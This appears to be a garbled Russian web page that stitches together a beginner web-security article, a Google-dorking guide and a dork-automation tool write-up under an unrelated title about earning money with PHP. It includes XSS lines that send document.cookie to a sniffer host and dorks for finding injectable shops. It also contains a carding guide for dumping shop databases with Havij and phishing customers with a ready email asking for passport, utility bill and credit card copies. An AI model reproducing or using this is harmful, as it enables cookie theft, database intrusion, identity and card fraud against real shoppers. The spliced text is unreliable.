Домой Экономика Как заработать на знании PHP? Заработок на собственном сервисе по e-mail рассылкам Inurl php feedid какой заработок.

Как заработать на знании PHP? Заработок на собственном сервисе по e-mail рассылкам Inurl php feedid какой заработок.

Я решил немного рассказать об информационной безопасности. Статья будет полезна начинающим программистам и тем, кто только-только начал заниматься Frontend-разработкой. В чём проблема?

Многие начинающие разработчики так увлекаются написанием кода, что совсем забывают о безопасности своих работ. И что самое главное - забывают о таких уязвимостях, как запрос SQL, XXS. А ещё придумывают лёгкие пароли для своих административных панелей и подвергаются брутфорсу. Что это за атаки и как можно их избежать?

SQL-инъекция

SQL-инъекция – это самый распространённый вид атаки на базу данных, который осуществляется при SQL-запросе для конкретной СУБД. От таких атак страдает множество людей и даже крупных компаний. Причина - ошибка разработчика при написании базы данных и, собственно говоря, SQL-запросов.

Атака типа внедрения SQL возможна из-за некорректной обработки входных данных, используемых в SQL-запросах. При удачном прохождении атаки со стороны хакера вы рискуете потерять не только содержимое баз данных, но и соответственно пароли и логи административной панели. А этих данных будет вполне достаточно, чтобы полностью завладеть сайтом или внести в него необратимые коррективы.

Атака может быть удачно воспроизведена в сценариях, написанных на PHP, ASP, Perl и других языках. Успешность таких атак больше зависит от того, какая используется СУБД и как реализован сам сценарий. В мире очень много уязвимых сайтов для SQL-инъекций. В этом легко убедиться. Достаточно ввести «дорки» - это специальные запросы по поиску уязвимых сайтов. Вот некоторые из них:

  • inurl:index.php?id=
  • inurl:trainers.php?id=
  • inurl:buy.php?category=
  • inurl:article.php?ID=
  • inurl:play_old.php?id=
  • inurl:declaration_more.php?decl_id=
  • inurl:pageid=
  • inurl:games.php?id=
  • inurl:page.php?file=
  • inurl:newsDetail.php?id=
  • inurl:gallery.php?id=
  • inurl:article.php?id=

Как ими пользоваться? Достаточно ввести их в поисковик Google или Яндекс. Поисковик выдаст вам не просто уязвимый сайт, но и страницу на эту уязвимость. Но мы не будем на этом останавливаться и убедимся, что страница действительно уязвима. Для это достаточно после значения «id=1» поставить одинарную кавычку «‘». Как-то так:

  • inurl:games.php?id=1’

И сайт нам выдаст ошибку о запросе SQL. Что же нужно дальше нашему хакеру?

А дальше ему нужна это самая ссылка на страницу с ошибкой. Затем работа над уязвимостью в большинстве случаев происходит в дистрибутиве "Kali linux" с его утилитами по этой части: внедрение инъекционного кода и выполнение необходимых операций. Как это будет происходить, я вам не могу сказать. Но об этом можно найти информацию в интернете.

XSS Атака

Данный вид атаки осуществляется на файлы Cookies. Их в свою очередь очень любят сохранять пользователи. А почему нет? Как же без них? Ведь благодаря Cookies мы не вбиваем сто раз пароль от Vk.com или Mail.ru. И мало тех, кто от них отказывается. Но в интернете для хакеров часто фигурирует правило: коэффициент удобства прямо пропорционален коэффициенту небезопасности.

Для реализации XSS-атаки нашему хакеру нужно знание JavaScript. Язык на первый взгляд очень прост и безобиден, потому что не имеет доступа к ресурсам компьютера. Работать с JavaScript хакер может только в браузере, но и этого достаточно. Ведь главное ввести код в веб-страницу.

Подробно говорить о процессе атаки я не стану. Расскажу лишь основы и смысл того, как это происходит.

Хакер может добавить на какой-нибудь форум или гостевую книгу JS-код:

document.location.href =”http://192.168.1.7/sniff.php?test”

Скрипты переадресуют нас на заражённую страницу, где будет выполнятся код: будь то сниффер, какое-либо хранилище или эксплоид, который так или иначе похитит наши Cookies с кэша.

Почему именно JavaScript? Потому что JavaScript отлично ладит с веб-запросами и имеет доступ к Cookies. Но если наш скрипт будет переводить нас на какой-нибудь сайт, то пользователь это легко заметит. Здесь же хакер применяет более хитрый вариант - просто вписывает код в картинку.

Img=new Image();

Img.src=” http://192.168.1.7/sniff.php?”+document.cookie;

Мы просто создаём изображение и приписываем ему в качестве адреса наш сценарий.

Как уберечься от всего этого? Очень просто - не переходите по подозрительным ссылкам.

DoS и DDos Атаки

DoS (от англ. Denial of Service - отказ в обслуживании) - хакерская атака на вычислительную систему с целью привести её к отказу. Это создание таких условий, при которых добросовестные пользователи системы не могут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ затруднён. Отказ системы может быть и шагом к её захвату, если во внештатной ситуации ПО выдаёт какую-либо критическую информацию: например, версию, часть программного кода и пр. Но чаще всего это мера экономического давления: потеря простой службы, приносящей доход. Счета от провайдера или меры по уходу от атаки ощутимо бьют «цель» по карману.В настоящее время DoS и DDoS-атаки наиболее популярны, так как позволяют довести до отказа практически любую систему, не оставляя юридически значимых улик.

Чем отличается DoS от DDos атаки?

DoS это атака построенная умным способом. Например, если сервер не проверяет корректность входящих пакетов, то хакер может сделать такой запрос, который будет обрабатываться вечно, а на работу с другими соединениями не хватит процессорного времени. Соответственно клиенты получат отказ в обслуживании. Но перегрузить или вывести из строя таким способом крупные известные сайты не получится. У них на вооружении стоят достаточно широкие каналы и сверхмощные серверы, которые без проблем справляются с подобной перегрузкой.

DDoS - это фактически такая же атака, как и DoS. Но если в DoS один пакет запроса, то в DDoS их очень может быть от сотни и более. Даже сверхмощные сервера могут не справиться с такой перегрузкой. Приведу пример.

DoS атака - это когда ты ведёшь разговор с кем-то, но тут подходит какой-то невоспитанный человек и начинает громко кричать. Разговаривать при этом либо невозможно, либо очень сложно. Решение: вызвать охрану, которая успокоит и выведет человека из помещения. DDoS-атаки - это когда таких невоспитанных людей вбегает многотысячная толпа. В таком случае охрана не сумеет всех скрутить и увести.

DoS и DDoS производятся с компьютеров, так называемых зомби. Это взломанные хакерами компьютеры пользователей, которые даже не подозревают, что их машина участвует в атаке какого-либо сервера.

Как уберечь себя от этого? В общем-то никак. Но можно усложнить задачу хакеру. Для этого необходимо выбрать хороший хостинг с мощными серверами.

Bruteforce атака

Разработчик может придумать очень много систем защиты от атак, полностью просмотреть написанные нами скрипты, проверить сайт на уязвимость и т.д. Но когда дойдёт до последнего шага вёрстки сайта, а именно когда будет просто ставить пароль на админку, он может забыть об одной вещи. Пароль!

Категорически не рекомендуется ставить простой пароль. Это могут быть 12345, 1114457, vasya111 и т. д. Не рекомендуется ставить пароли длиной меньше 10-11 символов. Иначе вы можете подвергнуться самой обычной и не сложной атаки - Брутфорсу.

Брутфорс - это атака перебора пароля по словарю с использованием специальных программ. Словари могут быть разные: латиница, перебор по цифрам скажем до какого-либо диапазона, смешанные (латиница +цифры), и даже бывают словари с уникальными символами @#4$%&*~~`’”\ ? и пр.

Конечно такого вида атаки легко избежать.Достаточно придумать сложный пароль. Вас может спасти даже капча. А ещё, если ваш сайт сделан на CMS, то многие из них вычисляют подобный вид атаки и блокируют ip. Надо всегда помнить, чем больше разных символов в пароле, тем тяжелее его подобрать.

Как же работают «Хакеры»? В большинстве случаев они либо подозревают, либо заранее знают часть пароля. Совсем логично предположить, что пароль пользователя уж точно не будет состоять из 3 или 5 символов. Такие пароли приводят к частым взломам. В основном хакеры берут диапазон от 5 до 10 символов и прибавляют туда несколько символов, которые возможно знают заранее. Далее генерируют пароли с нужными диапазонами. В дистрибутиве Kali linux имеются даже программы для таких случаев. И вуаля, атака уже не будет длиться долго, так как объём словаря уже не такой и большой. К тому же хакер может задействовать мощность видеокарты. Некоторые из них поддерживают систему CUDA, при этом скорость перебора увеличивается аж в 10 раз. И вот мы видим, что атака таким простым способом вполне реальна. А ведь брутфорсу подвергаются не только сайты.

Дорогие разработчики, никогда не забывайте про систему информационной безопасности, ведь сегодня от подобных видов атак страдает немало людей, в том числе и государств. Ведь самой большой уязвимостью является человек, который всегда может где-то отвлечься или где-то не доглядеть. Мы программисты, но не запрограммированные машины. Будьте всегда начеку, ведь утеря информации грозит серьёзными последствиями!

[Пролог]

Думаю каждый из нас пытался добыть кредиток самостоятельно, я не исключение.. Основной метод это слив БД онлайн магазин через SQL-inj.

[Парсинг]

Все начинается с парсинга ссылок. Лично я использовал свой парсер. Вы же можете юзать общедоступный софт.. Учтите, что не стоит просто использовать голый запрос вида

Inurl:product.php?id=

нужно что то вроде этого

Inurl:"product.php?id=" buy iphone

или даже так

Inurl:"*shop.com" inurl:".php?id=" dress

Ковычки здесь играют большую роль... Вот немного дорок для экскрементов:

Inurl:buy.php?category= inurl:gallery.php?id=d= inurl:event.php?id= inurl:view_product.php?id= inurl:product.php?id= inurl:products.php?id= inurl:shop.php?id= inurl:collectionitem.php?id= inurl:shopping.php?id= inurl:items.php?id=

И вот у наc есть пару тысяч линков!

[Чек на sql-inj. Слив БД]

Все, мы напарсили свой миллион ссылок. Начнем чек.. И здесь я использовал свой чекер.. Вы же можете юзать общедоступный софт...

Вот оно...

Мы собрали уязвимые линки, начинаем слив. Лично но я вначале кручу через Havij. Если он не может, а это в 50% случаев, то в ход идут руки. И вот оно!!! Мы наткнулись на таблицу с названием

Открываем ее, и..... и там нет колонок с кредитками. Мдя...

[СС там, где его нет]

Да мы не нашли колонки с сс, и это печально. 99% кардеров забьют на такой шоп и двинут дальше. Не стоит торопиться. У нас на руках все заказы шопа, имена, фамилии, адресса и даты заказчиков. А теперь вспомним что обычно происходит когда мы щипаем на сс? Правильно, у нас просят фото документов и кредитной карты....

[Теперь МЫ шоп!]

Сливаем из таблицы

FName LName order date email

Само собой названия могут быть другими.

Теперь у нас есть все что нужно. Регистрируем на hotmail.com email вида . Теперь мы готовы. Начинаем спамить..

Примерный текст письма:

Dear FName LName, We are processing your order . As part of our security procedures, we ask that you provide the following documents: 1) Your valid photo identification (e.g. passport or driving license). 2) An utility bill or bank statement issued on your name, that shows your current address. Please note that such can only be accepted if it’s dated no longer than 3 months back from the current date. 3) Copy of your credit card (front and back side). Once your ID and utility bill are verified, they will be placed in a secure file and you will not be asked to re-send it in the future. Send your documents at e-mail to Please note, if after 2 days, we do not receive legible e-mail, we will cancel your order.


# Тесты проводились над Индией. Отклик составил примерно 40%.
# Все документы полученные данным путем были стерты, а шопы оповещены об уязвимость.
# Статья была написана исключительно в ознакомительных целя. Я ни в коем случаи не побуждаю Вас к действию. Как правильно искать с помощью google.com

Все наверное умеют пользоваться такой поисковой системой, как гугл =) Но не все знают, что если грамотно составить поисковой запрос с помощью специальных конструкций, то можно достичь результатов того, что Вы ищете намного эффективнее и быстрее =) В этой статье я постараюсь показать что и как Вам нужно делать, чтобы искать правильно

Гугл поддерживает несколько расширенных операторов поиска, имеющими специальное значение при поиске на google.com. Типично, эти операторы изменяют поиск, или даже говорят гуглу делать полностью различные типы поиска. Например, конструкция link: является специальным оператором, и запрос link:www.google.com не даст вам нормального поиска, но вместо этого найдет все web-страницы, которые имеют связи к google.com.
альтернативные типы запросов

cache: Если Вы будете включать другие слова в запрос, то Гугл подсветит эти включенные слова в пределах кэшируемого документа.
Например, cache:www.сайт web покажет кэшируемое содержимое с подсвеченным словом "web".

link: рассматриваемый выше поисковой запрос покажет веб-страницы, на которых содержатся ссылки к указанному запросу.
Например: link:www.сайт отобразит все страницы на которых есть ссылка на http://www.сайт

related: Отобразит web-страницы, которые являются "подобными" (related) указанной web-странице.
Например, related: www.google.com перечислит web-страницы, которые являются подобными домашней странице Гугл.

info: Информация запроса: представит немного информации, которую Гугл имеет о запрашиваемой web-странице.
Например, info:сайт покажет информацию о нашем форуме =) (Армада - Форум адалт вебмастеров).

Другие информационные запросы

define: Запрос define: обеспечит определение слов, которые Вы вводите после того, как это, собранный из различных сетевых источников. Определение будет для всей введенной фразы (то есть, это будет включать все слова в точный запрос).

stocks: Если Вы начинаете запрос с stocks: Гугл обработает остальную часть сроков запроса как символы биржевых сводок, и свяжется со страницей, показывающую готовую информацию для этих символов.
Например, stocks: Intel yahoo покажет информацию о Intel и Yahoo. (Отметьте, что Вы должны напечатать символы последних новостей, не название компании)

Модификаторы Запросов

site: Если Вы включаете site: в ваш запрос, Гугл ограничит результаты теми вебсайтами, которые найдет в данном домене.
Также можно искать и по отдельным зонам, как таковое ru, org, com, etc ( site:com site:ru )

allintitle: Если Вы запускаете запрос с allintitle:, Гугл ограничит результаты со всеми словами запроса в заголовке.
Например, allintitle: google search вернет все страницы гугла по поиску как то images, Blog, etc

intitle: Если Вы включаете intitle: в вашем запросе, Гугл ограничит результаты документами, содержащими то слово в заголовке.
Например, intitle:Бизнес

allinurl: Если Вы запускаете запрос с allinurl: Гугл ограничит результаты, со всеми словами запроса в URL.
Например, allinurl: google search вернет документы с google и search в заголовке. Также как вариант можно разделять слова слэшем (/) тогда слова по обе стороны слэша будут искаться в пределах одной страницы: Пример allinurl: foo/bar

inurl: Если Вы включаете inurl: в вашем запросе, Гугл ограничит результаты документами, содержащими то слово в URL.
Например, Animation inurl:сайт

intext: ищет только в тексте страницы указанное слово, игнорируя заглавие и тексты ссылок, и прочее не относящееся к. Есть также и производная этого модификатора - allintext: т.е. далее все слова в запросе будут искаться только в тексте, что тоже бывает важно, игнорируя часто используемые слова в ссылках
Например, intext:форум

daterange: ищет во временных рамках (daterange:2452389-2452389), даты для времени указываются в Юлианском формате.

Ну и еще всякие интересные примеры запросов

Примеры составления запросов для Google. Для спамеров

Inurl:control.guest?a=sign

Site:books.dreambook.com “Homepage URL” “Sign my” inurl:sign

Site:www.freegb.net Homepage

Inurl:sign.asp “Character Count”

“Message:” inurl:sign.cfm “Sender:”

Inurl:register.php “User Registration” “Website”

Inurl:edu/guestbook “Sign the Guestbook”

Inurl:post “Post Comment” “URL”

Inurl:/archives/ “Comments:” “Remember info?”

“Script and Guestbook Created by:” “URL:” “Comments:”

Inurl:?action=add “phpBook” “URL”

Intitle:”Submit New Story”

Журналы

Inurl:www.livejournal.com/users/ mode=reply

Inurl greatestjournal.com/ mode=reply

Inurl:fastbb.ru/re.pl?

Inurl:fastbb.ru /re.pl? “Гостевая книга”

Блоги

Inurl:blogger.com/comment.g?”postID”"anonymous”

Inurl:typepad.com/ “Post a comment” “Remember personal info?”

Inurl:greatestjournal.com/community/ “Post comment” “addresses of anonymous posters”

“Post comment” “addresses of anonymous posters” -

Intitle:”Post comment”

Inurl:pirillo.com “Post comment”

Форумы

Inurl:gate.html?”name=Forums” “mode=reply”

Inurl:”forum/posting.php?mode=reply”

Inurl:”mes.php?”

Inurl:”members.html”

Inurl:forum/memberlist.php?”

С появлением компьютеров и интернета появилось множество дополнительных профессий.


Специалисты по программированию сейчас пользуются спросом, ведь через интернет запускается много разных проектов. Поэтому, всем абитуриентам стоит задуматься над тем, чтобы выбрать специальность, связанную с компьютерами.

Как заработать на знании PHP? В этой статье мы рассмотрим одно из направлений программирования. Скриптовый язык активно применяется для разработки приложений.

Технология актуальная уже много лет, а если научиться PHP, можно получать неплохие деньги. Самое главное, что спрос на специалистов из этой области огромный.

Сколько зарабатывает PHP программист?

Назвать точную сумму невозможно, ведь все работают в разных компаниях, а некоторые и вовсе трудятся на дому. В любом случае, активные работники получают неплохую зарплату.

Те, кто работает, не выходя из дома, получают ровно столько, сколько успеют выполнить заказов. Расценки в нише устанавливаются редко, чаще всего их обговаривают индивидуально.

Из плюсов работы PHP программистом стоит отметить серьезные перспективы и актуальность деятельности. Во времена, когда интернет проникает практически во все сферы, работать программистом реально выгодно.

Любой поиск уязвимостей на веб-ресурсах начинается с разведки и сбора информации.
Разведка может быть как активной - брутфорс файлов и директорий сайта, запуск сканеров уязвимостей, ручной просмотр сайта, так и пассивной - поиск информации в разных поисковых системах. Иногда бывает так, что уязвимость становится известна еще до открытия первой страницы сайта.

Как такое возможно?
Поисковые роботы, безостановочно бродящие по просторам интернета, помимо информации, полезной обычному пользователю, часто фиксируют то, что может быть использовано злоумышленниками при атаке на веб-ресурс. Например, ошибки скриптов и файлы с чувствительной информацией (начиная от конфигурационных файлов и логов, заканчивая файлами с аутентификационными данными и бэкапами баз данных).
С точки зрения поискового робота сообщение об ошибке выполнения sql-запроса - это обычный текст, неотделимый, например, от описания товаров на странице. Если вдруг поисковый робот наткнулся на файл с расширением.sql, который почему-то оказался в рабочей папке сайта, то он будет воспринят как часть содержимого сайта и так же будет проиндексирован (включая, возможно, указанные в нём пароли).

Подобную информацию можно найти, зная устойчивые, часто уникальные, ключевые слова, которые помогают отделить «уязвимые страницы» от страниц, не содержащих уязвимости.
Огромная база специальных запросов с использованием ключевых слов (так называемых дорков) существует на exploit-db.com и известна под названием Google Hack Database.

Почему google?
Дорки ориентированы в первую очередь на google по двум причинам:
− наиболее гибкий синтаксис ключевых слов (приведен в Таблице 1) и специальных символов (приведен в Таблице 2);
− индекс google всё же более полный нежели у других поисковых систем;

Таблица 1 – Основные ключевые слова google

Ключевое слово
Смысл
Пример
site
Поиск только на указанном сайте. Учитывает только url
site:somesite.ru - найдет все страницы по данному домену и поддоменам
inurl
Поиск по словам, присутствующим в uri. В отличие от кл. слова “site”, ищет совпадения после имени сайта
inurl:news - найдет все страницы, где в uri встретится данное слово
intext
Поиск в теле страницы
intext:”пробки” - полностью аналогично обычному запросу “пробки”
intitle
Поиск в заголовке страницы. Текст, заключенный между тэгами
intitle:”index of” - найдет все страницы с листингом директории
ext
Поиск страниц с указанным расширением
ext:pdf - найдет все pdf-файлы
filetype
В настоящее время полностью аналогично кл. слову “ext”
filetype:pdf - аналогично
related
Поиск сайтов со схожей тематикой
related:google.ru - покажет свои аналоги
link
Поиск сайтов, ссылающихся на данный
link:somesite.ru - найдет все сайты, на которых есть ссылка на данный
define
Показать определение слова
define:0day - определение термина
cache
Показать содержимое страницы в кэше (если имеется)
cache:google.com - откроет страницу из кэша

Таблица 2 – Специальные символы запросов google

Символ
Смысл
Пример

Точная фраза
intitle:«RouterOS router configuration page» - поиск роутеров
*
Любой текст
inurl:«bitrix*mcart» - поиск сайтов на bitrix с уязвимым модулем mcart
.
Любой символ
Index.of - аналогично запросу index of
-
Исключить слово
error -warning - показать все страницы, где есть error, но нет warning
..
Диапазон
cve 2006..2016 - показать уязвимости по годам начиная с 2006
|
Логическое «или»
linux | windows - показать страницы, где встречается либо первое либо второе слово

Стоит понимать, что любой запрос к поисковой системе - это поиск только по словам.
Бесполезно искать на странице мета-символы (кавычки, скобки, знаки пунктуации и т. п). Даже поиск по точной фразе, указанной в кавычках, - это поиск по словам, с последующим поиском точного совпадения уже в результатах.

Все дорки Google Hack Database разделены логически на 14 категорий и представлены в таблице 3.
Таблица 3 – Категории Google Hack Database

Категория
Что позволяет найти
Пример
Footholds
Веб-шеллы, публичные файловые менеджеры
Найти все взломанные сайты, где залиты перечисленные вебшеллы:
(intitle:«phpshell» OR intitle:«c99shell» OR intitle:«r57shell» OR intitle:«PHP Shell » OR intitle:«phpRemoteView») `rwx` «uname»
Files containing usernames
Файлы реестра, конфигурационные файлы, логи, файлы, содержащие историю введенных команд
Найти все файлы реестра, содержащие информацию об аккаунтах:
filetype:reg reg +intext:«internet account manager»
Sensitive Directories
Каталоги с различной информацией (личные документы, конфиги vpn, скрытые репозитории и т.д.)
Найти все листинги директорий содержащих файлы, относящиеся к vpn:
«Config» intitle:«Index of» intext:vpn
Сайты, содержащие git-репозитории:
(intext:«index of /.git») («parent directory»)
Web Server Detection
Версию и иную информацию о веб-сервере
Найти административные консоли сервера JBoss:
inurl:"/web-console/" intitle:«Administration Console»
Vulnerable Files
Скрипты, содержащие известные уязвимости
Найти сайты, использующие скрипт, позволяющий выгрузить произвольный файл с сервера:
allinurl:forcedownload.php?file=
Vulnerable Servers
Инсталляционные скрипты, веб-шеллы, открытые административные консоли и т.д
Найти открытые PHPMyAdmin консоли, запущенные от root:
intitle:phpMyAdmin «Welcome to phpMyAdmin ***» «running on * as root@*»
Error Messages
Различные ошибки и предупреждения часто раскрывающие важную информацию - начиная от версии CMS до паролей
Сайты, имеющие ошибки в выполнении sql-запросов к базе:
«Warning: mysql_query()» «invalid query»
Files containing juicy info
Сертификаты, бэкапы, электронные письмы, логи, sql-скрипты и т.д
Найти инициализационные sql-скрипты:
filetype:sql and «insert into» -site:github.com
Files containing passwords
Всё что может содержать пароли - логи, sql-скрипты и т.д
Логи, упоминающие пароли:
filetype: log intext: password | pass | pw
sql-скрипты содержащие пароли:
ext: sql intext: username intext: password
Sensitive Online Shopping Info
Информацию связанную с онлайн покупками
Найти пинкоды:
dcid= bn= pin code=
Network or vulnerability data
Информацию, не относящуюся непосредственно к веб-ресурсу, но затрагивающую сеть либо прочие не веб-сервисы
Найти скрипты автоматической настройки прокси, содержащие информацию о внутренней сети:
inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl
Pages containing login portals
Страницы, содержащие формы входа
Веб-страницы saplogon:
intext:«2016 SAP AG. All rights reserved.» intitle:«Logon»
Various Online Devices
Принтеры, роутеры, системы мониторинга и т.д
Найти конфигурационную панель принтера:
intitle:" hp laserjet" inurl: SSI/ Auth/ set_ config_ deviceinfo. htm
Advisories and Vulnerabilities
Сайты на уязвимых версиях CMS
Найти уязвимые плагины, через которые можно загрузить произвольный файл на сервер:
inurl:fckeditor -intext:«ConfigIsEnabled = False» intext:ConfigIsEnabled

Дорки чаще ориентированы на поиск по всем сайтам сети интернет. Но ни что не мешает ограничить область поиска на каком-либо сайте или сайтах.
Каждый запрос к google можно сосредоточить на определённом сайте, добавив к запросу ключевое слово «site:somesite.com». Данное ключевое слово может быть дописано к любому дорку.

Автоматизация поиска уязвимостей
Так родилась идея написать простенькую утилиту, автоматизирующую поиск уязвимостей с помощью поисковой системы (google) и опирающуюся на Google Hack Database.

Утилита представляет из себя скрипт, написанный на nodejs с использованием phantomjs. Если быть точным, то скрипт интерпретируется самим phantomjs.
Phantomjs - это полноценный веб-браузер без графического интерфейса, управляемый с помощью js-кода и обладающий удобным API.
Утилита получила вполне понятное название – dorks. Запустив её в командной строке (без опций) получаем короткую справку с несколькими примерами использования:


Рисунок 1 - Список основных опций dorks

Общий синтаксис утилиты: dork «команда» «список опций».
Подробное описание всех опций представлено в таблице 4.

Таблица 4 – Синтаксис dorks

Команда
Опция
Описание
ghdb
-l
Вывести нумерованный список категорий дорков Google Hack Database
-c «номер или название категории»
Загрузить дорки указанной категории по номеру или названию
-q «фраза»
Загрузить дорки, найденные по запросу
-o «файл»
Сохранить результат в файл (только вместе с опциями -c|-q)
google
-d «дорк»
Задать произвольный дорк (опция может использоваться много раз, допускается сочетание с опцией -D)
-D «файл»
Использовать дорки из файла
-s «сайт»
Задать сайт (опция может использоваться много раз, допускается сочетание с опцией -S)
-S «файл»
Использовать сайты из файла (перебор дорков будет выполнен по каждому сайту независимо)
-f «фильтр»
Задать дополнительные ключевые слова (будет добавлено к каждому дорку)
-t «количество мс»
Интервал между запросами к google
-T «количество мс»
Таймаут, если встретилась каптча
-o «файл»
Сохранить результат в файл (будут сохранены только те дорки, по которым что-то нашлось)

С помощью команды ghdb можно получить все дорки с exploit-db по произвольному запросу, либо указать целиком всю категорию. Если указать категорию 0 - то будет выгружена вся база (около 4.5 тысяч дорков).

Список категорий доступных на данный момент представлен на рисунке 2.

Рисунок 2 - Список доступных категорий дорков GHDB

Командой google будет произведена подстановка каждого дорка в поисковик google и проанализирован результат на предмет совпадений. Дорки по которым что-то нашлось будут сохранены в файл.
Утилита поддерживает разные режимы поиска:
1 дорк и 1 сайт;
1 дорк и много сайтов;
1 сайт и много дорков;
много сайтов и много дорков;
Список дорков и сайтов можно задать как через аргумент, так и через файл.

Демонстрация работы
Попробуем поискать какие-либо уязвимости на примере поиска сообщений об ошибках. По команде: dorks ghdb –c 7 –o errors.dorks будут загружены все известные дорки категории “Error Messages” как показано на рисунке 3.


Рисунок 3 – Загрузка всех известных дорков категории “Error Messages”

Дорки загружены и сохранены в файл. Теперь остается «натравить» их на какой-нибудь сайт (см. рисунок 4).


Рисунок 4 – Поиск уязвимостей интересуемого сайта в кэше google

Спустя какое-то время на исследуемом сайте обнаруживается несколько страниц, содержащих ошибки (см. рисунок 5).


Рисунок 5 – Найденные сообщения об ошибках

Итог, в файле result.txt получаем полный список дорков, приводящих к появлению ошибки.
На рисунке 6 представлен результат поиска ошибок сайта.

Рисунок 6 – Результат поиска ошибок

В кэше по данному дорку выводится полный бэктрейс, раскрывающих абсолютные пути скриптов, систему управления содержимым сайта и тип базы данных (см. рисунок 7).


Рисунок 7 – раскрытие информации об устройстве сайта

Однако стоит учитывать, что не все дорки из GHDB дают истинный результат. Так же google может не найти точного совпадения и показать похожий результат.

В таком случае разумнее использовать свой персональный список дорков. Например, всегда стоит поискать файлы с «необычными» расширениями, примеры которых приведены на рисунке 8.


Рисунок 8 – Список расширений файлов, не характерных для обычного веб-ресурса

В итоге, по команде dorks google –D extensions.txt –f банк, с самого первого запроса google начинает отдавать сайты с «необычными» расширениями файлов (см. рисунок 9).


Рисунок 9 – Поиск «нехороших» типов файлов на сайтах банковской тематики

Стоит иметь ввиду, что google не воспринимает запросы длиннее 32 слов.

С помощью команды dorks google –d intext:”error|warning|notice|syntax” –f университет
можно поискать ошибки интерпретатора PHP на сайтах учебной тематики (см. рисунок 10).


Рисунок 10 – Поиск PHP-ошибок времени исполнения

Иногда пользоваться какой-то одной или двумя категориями дорков не удобно.
Например, если известно, что сайт работает на движке wordpress, то нужны дорки именно по wordpress. В таком случае удобно воспользоваться поиском Google Hack Database. Команда dorks ghdb –q wordpress –o wordpress_dorks.txt загрузит все дорки по Wordpress, как показано на рисунке 11:


Рисунок 11 – Поиск дорков, относящихся к Wordpress

Снова вернемся к банкам и командой dorks google –D wordpress_dords.txt –f банк попробуем найти что-нибудь интересное, связанное с wordpress (см. рисунок 12).


Рисунок 12 – Поиск уязвимостей Wordpress

Стоит заметить, что поиск на Google Hack Database не воспринимает слова короче 4 символов. Например, если CMS сайта не известна, но известен язык - PHP. В таком случае можно отфильтровать нужное вручную с помощью пайпа и системной утилиты поиска dorks –c all | findstr /I php > php_dorks.txt (см. рисунок 13):


Рисунок 13 – Поиск по всем доркам, где есть упоминание PHP

Поиск уязвимостей или какой-то чувствительной информации в поисковой системе следует искать только в случае если по данному сайту есть значительный индекс. Например, если у сайта проиндексировано 10-15 страниц, то глупо что-либо искать подобным образом. Проверить размер индекса просто - достаточно ввести в строку поиска google «site:somesite.com». Пример сайта с недостаточным индексом показан на рисунке 14.


Рисунок 14 – Проверка размера индекса сайта

Теперь о неприятном… Периодически google может запросить каптчу - тут ничего не поделать - её придется ввести. Например, у меня, при переборе категории «Error Messages» (90 дорков) каптча выпала только один раз.

Стоит добавить, что phantomjs поддерживает работу так же и через прокси, как через http, так и через socks интерфейс. Для включения режима прокси надо раскоментировать соответствующую строку в dorks.bat или dorks.sh.

Инструмент доступен в виде исходного кода

Новое на сайте

>

Самое популярное